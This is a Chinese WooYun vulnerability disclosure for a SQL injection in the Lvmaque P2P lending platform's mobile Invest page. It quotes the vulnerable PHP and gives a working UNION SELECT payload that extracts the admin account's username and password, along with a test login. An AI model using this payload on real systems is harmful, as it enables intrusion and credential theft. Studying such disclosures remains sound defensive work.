当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144779

漏洞标题：绿麻雀 p2p网贷系统sql注入一处(demo演示)

相关厂商：lvmaque.com

漏洞作者： 不能忍

提交时间：2015-10-10 10:53

修复时间：2016-01-13 10:54

公开时间：2016-01-13 10:54

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：11

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-10： 细节已通知厂商并且等待厂商处理中
2015-10-15： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2015-12-09： 细节向核心白帽子及相关领域专家公开
2015-12-19： 细节向普通白帽子公开
2015-12-29： 细节向实习白帽子公开
2016-01-13： 细节向公众公开

简要描述：

这里直接出数据了，哈哈

详细说明：

漏洞文件：/App/Lib/Action/M/InvestAction.class.php invest函数

public function Invest()
        {   
            if(!$this->uid){
                if($this->isAjax()){
                    die("请先登录后投资");   
                }else{
                    $this->redirect('M/pub/login');       
                }
            }
            if($this->isAjax()){   // ajax提交投资信息
         
                $borrow_id = intval($this->_get('bid'));//第一次获取的时候是有过滤的
                $invest_money = intval($this->_post('invest_money'));
                $paypass = $this->_post('paypass');
                $invest_pass = isset($_POST['invest_pass'])?$_POST['invest_pass']:'';
                $status = checkInvest($this->uid, $borrow_id, $invest_money, $paypass, $invest_pass);
                if($status == 'TRUE'){
                    $done = investMoney($this->uid,$borrow_id,$invest_money);
                    if($done === true){
                        die('TRUE');
                    }
                    elseif($done){
                        die($done);
                    }else{
                        die(L('investment_failure'));
                    }   
                }else{
                    die($status);   
                }
            }else{  
                $borrow_id = $this->_get('bid');//然而又获取了一次（并没有想明白，而还是没过滤的）
                $borrow_info = M("borrow_info")
                    ->field('borrow_duration, borrow_money, borrow_interest, borrow_interest_rate, has_borrow,
                             borrow_min, borrow_max, password, repayment_type')
                    ->where("id='{$borrow_id}'")//直到这里进库都是没过滤的
                    ->find();
                $this->assign('borrow_info', $borrow_info);    
                
                $user_info = M('member_money')
                                ->field("account_money+back_money as money ")
                                ->where("uid='{$this->uid}'")
                                ->find();
                $this->assign('user_info', $user_info);
                $paypass = M("members")->field('pin_pass')->where('id='.$this->uid)->find();
                $this->assign('paypass', $paypass['pin_pass']);
                $this->display();   
            }
        }
    }


直接给payload:
http://**.**.**.**/m/Invest/invest?bid=-1' union select 1,2,3,concat(user_name,0x2c,user_pass),5,6,7,8,9 from lzh_ausers where user_name='admin'%23
利用方法：
先注册一个账户，然后登录之后访问上面这个地址就可以了
蛋疼的地方是官网注册不了，所以我跟客服要了一个用户来测试（我太机智了！）
测试用的账户密码：
uiuiui
uiuiui

漏洞证明：

1.jpg


http://**.**.**.**/m/Invest/invest?bid=-1%27%20union%20select%201,2,3,concat%28user_name,0x2c,user_pass%29,5,6,7,8,9%20from%20lzh_ausers%20where%20user_name=%27admin%27%23

修复方案：

自己想咯

版权声明：转载请注明来源 不能忍@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-01-13 10:54

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无